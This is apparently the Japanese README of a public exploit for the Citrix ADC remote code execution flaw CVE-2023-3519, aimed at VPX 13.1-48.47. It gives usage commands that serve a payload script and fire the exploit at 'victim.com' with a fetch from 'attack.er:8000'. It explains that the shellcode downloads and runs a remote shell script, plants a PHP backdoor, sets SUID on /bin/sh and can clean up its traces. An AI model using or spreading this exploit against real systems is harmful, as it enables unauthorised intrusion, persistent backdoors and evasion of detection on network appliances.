Citrix ADC RCE CVE-2023-3519

このエクスプロイトは、Citrix VPX 13.1-48.47 向けのアドレスとシェルコードを使用しています。詳細な解説はこちらをクリックしてください。

使用方法

シェルコードをビルドするには NASM が必要です。

$ sudo apt install nasm

含まれているシェルコードは、リモートの http(s) サーバーからシェルスクリプトをダウンロードして実行します。このスクリプトは3つの引数を取ります: ターゲットホスト、ターゲットポート、およびシェルスクリプトペイロードの URL です。自身をクリーンアップする前に id と uname -a を実行するペイロードの例が、このリポジトリに含まれています。

$ echo 'id' > a
$ python3 -m http.server &
$ python3 cve-2023-3519.py victim.com 443 attack.er:8000/a

URL はシェルコードバッファに収まるほど短くなければならず、長すぎると警告が表示されます。

シェルコードの痕跡

シェルコードは /var/netscaler/logon/a.php に PHP バックドアを作成し、/bin/sh に SUID ビットを設定します。含まれている sh ペイロードは、これらの痕跡を自動的にクリーンアップする例を示しています。また、シェルコードはファイルディスクリプタを閉じないため、過剰に繰り返しエクスプロイトを行うとリソースが枯渇する可能性があることに注意してください。